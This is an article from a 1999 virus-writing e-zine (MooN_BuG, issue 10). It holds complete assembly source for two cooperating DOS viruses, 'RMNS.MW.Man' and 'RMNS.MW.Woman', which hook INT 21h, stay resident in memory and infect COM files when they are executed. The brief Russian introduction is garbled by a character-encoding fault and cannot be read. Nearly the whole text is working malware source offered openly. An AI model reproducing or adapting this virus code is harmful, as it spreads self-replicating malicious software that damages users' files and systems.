[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 012

                  RMNS.MW DISASM                          [C] Yanush Milovski


     ᪠        ⢥  ᢮ p "㯮"
p   RMNS.MW   (   䨪樨   ᯥp᪮).   p    
᪫⥫쭮  樮묨,   饬- ᮫⭮  蠫  p
p  p      p㪨. ᬮp    - 祣 ᮡ
  p樮,   ⭮⥫쭮 p쭠.
     p  ⮨   ᨬ p ⥩: Man  Woman. p祬
᫨  p⭠ ⮫쪮    ⥩,  ppp p .
᫨   p묨   ,  쭥襥 p p室
 饬   ᫥饩 奬:
     p稪  int  21h  Man p뢠 䠩-p  , 믮
᪮쪮  pp  맢  4BBEh 21 pp뢠, ⥬ ᠬ p
p    p稪    Woman.  p祬   BX p file handle
p⮣  䠩,      CX      Man.    Woman 㦥 ᮡ⢥ 
믮  p  p⮣ 䠩   ⥩ p(Man  Woman), 
⥬  p  p    p稪    Man,  㦥 ⥬ p
p  p p稪 21 pp뢠.
     饬-    p. p , p ,  p
ᠭ  ⪮  p.  , , ᫥ p樨  室
     p RMNS.MW   .   ᥩ  易 
⥬,        p    p ᯮ짮 p ᥬp. AVP 
  p   ,  Dr.Web p COM.TSR. H   RMNS.MW,
p ⫨騩  p쭮  p p p樯 .



;============================================================================
; p RMNS.MW.Man.297
; p TASM  p  p室
;============================================================================

.model tiny
.code
org   100h
start:
        jmp     vir_start

vir_start:

        call    vir
vir:
        pop     si
        sub     si,offset vir

        mov     di,offset oldbytes
        add     di,si

        mov     al,byte ptr [di]
        mov     1 ptr cs:[0100h],al

        inc     di
        mov     ax,word ptr [di]
        mov     2 ptr cs:[0101h],ax

        mov     ax,4BBCh
        int     21h

        cmp     ax,0BBB4h
        jnz     stay_tsr

        jmp     ret_vict
 stay_tsr:
        mov     ax,cs
        dec     ax
        mov     es,ax

        mov     al,es:[0000]
        cmp     al,5Ah
        jz      last_block

        push    cs
        pop     es
        jmp     ret_vict

last_block:

        mov     ax,es:[0003]
        sub     ax,(kon-vir_start)/16+1+10+5
        mov     es:[0003],ax

        mov     bx,es
        add     bx,ax
        mov     es,bx

        mov     cx,kon-vir_start
        mov     di,offset vir_start
        mov     bp,si
        add     si,offset vir_start
        rep     movsb
        mov     si,bp
        mov     bp,es

        mov     ax,3521h
        int     21h

        mov     ax,es
        mov     es,bp
        mov     es:[old21s],ax

        mov     word ptr es:[old21o],bx

        mov     ax,2521h
        push    es
        pop     ds
        mov     dx,offset new21
        int     21h

        mov     ax,cs
        mov     es,ax
        mov     ds,ax
 ret_vict:
        mov     ax,0100h
        jmp     ax

oldbytes  db  0cdh,20h,0
newbytes db  0e9h
         dw  ?

new21:
        pushf
        cmp     ah,4Bh
        jz      next_check
        jmp     ex_handler

next_check:

        cmp     al,0BCh        ; pp  稥 p  
        jz      we_are_here
        jmp     @1

we_are_here:
        mov     ax,0BBB4h      ; p 㦥 p⥭.
        popf
        iret

@1:
        cmp     al,04
        jnb     ex_handler     ; ᫨ al>=04    p稪

        jmp     infect

pre_ex_handler:

        pop     ds
        pop     es
        pop     dx
        pop     cx
        pop     bx
        pop     ax

ex_handler:

        popf
        db      0EAh
old21o  dw      ?
old21s  dw      ?

 ; p楤p p.

infect:

        push    ax
        push    bx
        push    cx
        push    dx
        push    es
        push    ds
        mov     ax,3D02h
        int     21h

        jnb     @2
 ; ᫨ 訡  .
        jmp     pre_ex_handler

 @2:

        mov     bx,ax

        mov     ax,cs
        mov     es,ax
        mov     ds,ax

        mov     ah,3Fh
        mov     cx,0003
        mov     dx,offset oldbytes
        int     21h

        cmp     ax,0003
        jz      @3
        jmp     ex_infect
@3:
        mov     di,dx
        mov     al,byte ptr [di]        ;pp  XE  p ᨬ
        cmp     al,4Dh
        jz      @4

        mov     ax,5700h
        int     21h

        cmp     cx,00FFh                ;p  㦥 䠩
        jne     @5

        cmp     dx,00FFh
        jne     @5
@4:
        jmp     ex_infect

@5:
        mov    ax,4BBEh
        mov    cx,kon-vir_start        ; 맮 p稪 p Woman
        int    21h                     ;  CX  p Man
                                       ;  BX file handle

ex_infect:
        mov    ah,3Eh
        int    21h
        jmp    pre_ex_handler
        db     '  R.M.N.S Test virus R.M.N.S MW Man  '
kon:
end start

;============================================================================


;============================================================================
; p RMNS.MW.Woman.353
; p TASM  p  p室
;============================================================================

.model tiny
.code
org   100h
start:
        jmp     start_vir

start_vir:

        call    vir
 vir:
        pop     si
        sub     si,offset vir
        mov     di,offset oldbytes
        add     di,si
        mov     al,byte ptr [di]
        mov     1 ptr cs:[0100h],al
        inc     di
        mov     ax,word ptr [di]
        mov     2 ptr cs:[0101h],ax
        mov     ax,4BBDh
        int     21h
        cmp     ax,0BBB4h
        jnz     stay_tsr
        jmp     ret_vict
stay_tsr:
        mov     ax,cs
        dec     ax
        mov     es,ax
        mov     al,es:[0000]
        cmp     al,5Ah
        jz      last_block
        push    cs
        pop     es
        jmp     ret_vict
last_block:
        mov     ax,es:[0003]
        sub     ax,(kon-start_vir)/16+1+10+5
        mov     es:[0003],ax
        mov     bx,es
        add     bx,ax
        mov     es,bx
        mov     cx,(kon-start_vir)
        mov     di,offset start_vir
        mov     bp,si
        add     si,offset start_vir
        rep     movsb

        mov     si,bp
        mov     bp,es
        mov     ax,3521h
        int     21h
        mov     ax,es
        mov     es,bp
        mov     es:[old21s],ax
        mov     word ptr es:[old21o],bx

        mov     ax,2521h
        push    es
        pop     ds
        mov     dx,offset new21
        int     21h

        mov     ax,cs
        mov     es,ax
        mov     ds,ax
ret_vict:
        mov     ax,0100h
        jmp     ax

oldbytes  db  0cdh,20h,0
newbytes  db  0E9h
newbaddr  dw  ?
new21:
        pushf
        cmp     ah,4Bh
        jz      next_check
        jmp     ex_handler

next_check:

        cmp     al,0BDh         ; pp  稥 p  .
        jz      we_are_here
        cmp     al,0BEh         ; pp  稥 p Man  .
        jz      pre_infect      ;
        jmp     ex_handler      ;

we_are_here:

        mov     ax,0BBB4h       ; p 㦥 p⥭
        popf
        iret

pre_infect:

        jmp     infect

        pop     ds                ;
        pop     es                ;
        pop     dx                ;
        pop     cx                ; Hᯮ㥬  (訡 p)
        pop     bx                ;
        pop     ax                ;

ex_handler:

        popf
        db      0EAh
old21o  dw      ?
old21s  dw      ?

save_lngth dw    ?

infect:
        push    ax                ;
        push    bx                ;
        push    cx                ;
        push    dx                ;      p pp
        push    es                ;
        push    ds                ;
        push    cs                ;
        pop     ds                ;

        mov     word ptr [save_lngth],cx ; p  p MAN

        mov     ax,4200h
        xor     cx,cx
        xor     dx,dx
        int     21h

        mov     ah,3Fh
        mov     cx,0003h
        mov     dx,offset oldbytes
        int     21h

        mov     ax,4202h
        xor     cx,cx
        mov     dx,cx
        int     21h

        cmp     dx,0000
        jz      chk_size_com     ;pp  p  COM, EXE
                                 ; ᪠  100% p.
        jmp     ex_infect

chk_size_com:

        cmp     ax,65535-(kon-start)
        jb      continue
        jmp     ex_infect

continue:

        sub     ax,3
        mov     di,offset newbaddr
        mov     word ptr [di],ax
        mov     ax,0000
        mov     ds,ax

        mov     al,1 ptr ds:[046Ch]    ; 롨p  䨪樥 㤥
                                       ; p 䠩 (Man/Woman)
        test    al,01

        jz      write_smbd

        push    es
        mov     cx,word ptr cs:[save_lngth]     ; 䨪樥 Man
        jmp     write

write_smbd:

        push    cs
        mov     cx,kon-start_vir                ; 䨪樥 Woman

write:

        pop     ds
        mov     ah,40h
        mov     dx,offset start_vir
        int     21h

        push    cs
        pop     ds
        mov     ax,4200h
        xor     dx,dx
        mov     cx,dx
        int     21h

        mov     ah,40h
        mov     cx,0003
        mov     dx,offset newbytes
        int     21h

        mov     ax,5701h
        mov     cx,00FFh            ; p p 䠩
        mov     dx,cx
        int     21h

 ex_infect:

        pop     ds
        pop     es
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        iret
        db      '  R.M.N.S Test virus R.M.N.S MW Woman  '
kon:
end     start
;============================================================================

                                                         (C) Yanush Milovski

